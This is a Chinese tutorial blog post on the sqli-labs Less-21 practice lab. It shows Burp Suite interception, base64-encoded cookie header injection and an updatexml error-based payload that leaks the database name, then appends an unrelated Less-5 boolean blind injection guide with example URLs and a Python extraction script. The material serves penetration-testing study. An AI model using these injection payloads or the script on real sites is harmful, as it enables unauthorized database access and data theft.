sqli-labs/less-21;header头注入;burpsuite抓包;mysql注入;

本文详细讲述了如何通过Burpsuite抓包,利用Base64编码实现Cookie头注入,进而进行SQL注入攻击。作者展示了从发现编码方式到利用updatexml函数暴漏数据库的过程,适合学习渗透测试和安全防护的读者。

1、输入正确账号登陆

 

 

2、这里使用burpsuite进行抓包

 3、这里使用打算使用cookie头注入,因为它页面有cookie回显;

看到uname编码方式中有%感觉有点像url;

 

发现是base64编码

 

这里选择base64编码; 

 

 

 

4、这里闭合失败

发现提示要使用   ')   进行闭合;

    

5、这里使用base64编码: 

admin') and 1=1 -- +

YWRtaW4nKSBhbmQgMT0xIC0tICs=

 

 闭合成功

6、查一下数据库

这里利用报错查询:updatexml

admin') and updatexml(1,concat(0x7e,database(),0x7e),1) -- +

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSAtLSAr

 

 

7、后面表名字段数据就随便爆了,如果不知道,可以看我之前的文章;

SQLi - Labs Less 5 是一个基于布尔盲注的 SQL 注入实验。使用 Burp Suite 抓包来解决该题目的步骤如下: ### 1. 配置 Burp Suite 和浏览器 - 启动 Burp Suite,在“Proxy”选项卡中,点击“Options”,确保代理监听地址和端口(默认是 127.0.0.1:8080)正确。 - 配置浏览器代理,使其通过 Burp Suite 进行网络请求。以 Chrome 浏览器为例,可以使用 SwitchyOmega 等扩展来配置代理。 ### 2. 访问目标页面 打开浏览器,访问 sqli - labs less5 的目标页面,通常是类似 `http://your - lab - url/Less - 5/?id=1` 的链接。 ### 3. 开启拦截并发送请求 在 Burp Suite 的“Proxy”选项卡中,点击“Intercept”,确保拦截开关处于开启状态(“Intercept is on”)。在浏览器中刷新目标页面,此时请求会被 Burp Suite 拦截。 ### 4. 构造盲注请求 在 Burp Suite 的拦截窗口中,修改请求的 `id` 参数,构造布尔盲注的 SQL 语句。例如,判断数据库名的第一个字符是否为 `s`: ``` http://your - lab - url/Less - 5/?id=1' AND ASCII(SUBSTR(DATABASE(),1,1))=115 --+ ``` 这里 `ASCII(SUBSTR(DATABASE(),1,1))` 表示获取数据库名的第一个字符的 ASCII 码,`115` 是字符 `s` 的 ASCII 码,`--+` 是 SQL 注释符。 将修改后的请求发送到 Repeater 模块(右键点击请求,选择“Send to Repeater”)。 ### 5. 发送请求并分析响应 在 Repeater 模块中,点击“Go”发送请求。观察响应页面的变化,如果响应页面显示正常(与正常请求的页面相同),则说明判断条件成立;如果页面显示异常(如报错或页面内容不同),则说明判断条件不成立。 ### 6. 循环判断字符 通过不断修改 ASCII 码的值(从 32 到 126 循环尝试),可以逐个获取数据库名、表名、列名等信息。例如,使用 Python 脚本结合 Burp Suite 的 API 来自动化这个过程: ```python import requests url = "http://your - lab - url/Less - 5/?id=1' AND ASCII(SUBSTR(DATABASE(),{pos},1))={ascii} --+" database_name = "" pos = 1 while True: for ascii_code in range(32, 127): full_url = url.format(pos=pos, ascii=ascii_code) response = requests.get(full_url) if "You are in" in response.text: # 根据实际响应内容判断 database_name += chr(ascii_code) pos += 1 break else: break print("Database name:", database_name) ``` ### 7. 继续获取其他信息 使用类似的方法,可以获取表名、列名和数据等信息。例如,获取表名: ``` http://your - lab - url/Less - 5/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {offset},1),{pos},1))={ascii} --+ ``` 其中 `{offset}` 用于遍历不同的表。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值